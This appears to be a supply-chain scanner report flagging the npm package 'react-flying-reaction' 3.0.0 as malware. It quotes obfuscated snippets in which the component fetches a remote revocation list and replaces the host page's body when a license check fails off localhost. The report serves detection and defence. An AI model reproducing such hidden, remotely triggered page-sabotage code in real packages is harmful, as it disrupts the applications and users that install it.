A failed check outside localhost replaces the host page body, disrupting the consuming application. - **Trigger:** Mounting the Reaction component in a browser. - **Impact:** A remote revocation response or invalid key can blank or replace the consumer application's page. - **Evidence paths:** index.js - **Review source:** ai\_review - **Reviewed:** 2026-09-04T15:46:08.970Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Obfuscated remote license gate followed by document-body replacement. - **Attack narrative:** The package hides a license and revocation system inside an emoji-animation component. On mount it fetches a remote revocation list. If the license is invalid and the host is not localhost, the obfuscated code creates replacement markup and replaces the document body. This lets package-controlled remote state disrupt an application that imports and renders the component. - **Rationale:** This is concrete destructive runtime behavior unrelated to a flying-reaction UI, concealed by obfuscation and controlled by a remote endpoint. The absence of an install hook does not mitigate the browser-page replacement. - **Files touched:** index.js - **Network endpoints:** https://api.npoint.io/f63d2269d3d045f8cdc3 ### Review decision - **Verdict:** Malicious - **Confidence:** 96.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The sole runtime file is deliberately obfuscated, hiding non-UI licensing and browser-control code., The component fetches a remotely controlled revocation list during use., An invalid remote or local license on a non-localhost page causes the code to replace the document body., The package is presented as a simple emoji animation but contains hidden remote gating and destructive page mutation. - **Evidence against:** package.json has no install lifecycle scripts., The manifest declares React as a peer dependency and exposes a React entry point. ## Public findings ### 1.

Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 6. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 7. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 8. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** index.js\#virtual:normalized:round1 - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() The sole runtime file is deliberately obfuscated, hiding non-UI licensing and browser-control code. Public source snippet (untrusted): ```javascript function _0x5d34(){const _0x5aeb5e=['styleId','_fromServer','default','env','length','bigint','optimizeForSpeed','_name','createContext','getSheetForTag','expiresAt','BASE','payload' ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() The component fetches a remotely controlled revocation list during use. Public source snippet (untrusted): ```javascript fetch(REVOKED_LIST_URL,{'cache':'no-store'}) ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() An invalid remote or local license on a non-localhost page causes the code to replace the document body. Public source snippet (untrusted): ```javascript if(_0x29f19f['status']==='invalid'&&!_0x23ec98){const _0x1818f7=document[_0x273c02(0x227)](_0x273c02(0x244));return _0x1818f7['innerHTML']=_0x273c02(0x229),document[_0x273c02(0x1d6)][_0x273c02(0x23e)](_0x1818f7,document[_0x273c02(0x244)]),null;} ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 1 - **Development dependencies:** 4 - **Published dependency-graph edges:** 1 ### Published dependency entries - react ^18 || ^19 (PeerDependency) ## Package metadata - **Package:** react-flying-reaction - **Ecosystem:** npm - **Version:** 3.0.0 - **Version published:** 2026-09-04T12:24:03.502Z - **Package first seen:** 2026-09-04T10:42:28.983Z - **Package last seen:** 2026-09-04T15:46:08.970Z - **Known versions:** 3 - **Latest version:** 3.0.0 - **Appeal under review:** No - **Description:** React flying reaction - **Author:** Learn React Code - **Keywords:** Flying, emoji, reaction - **Artifact files:** 5 - **Artifact unpacked size:** 56,826 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]()
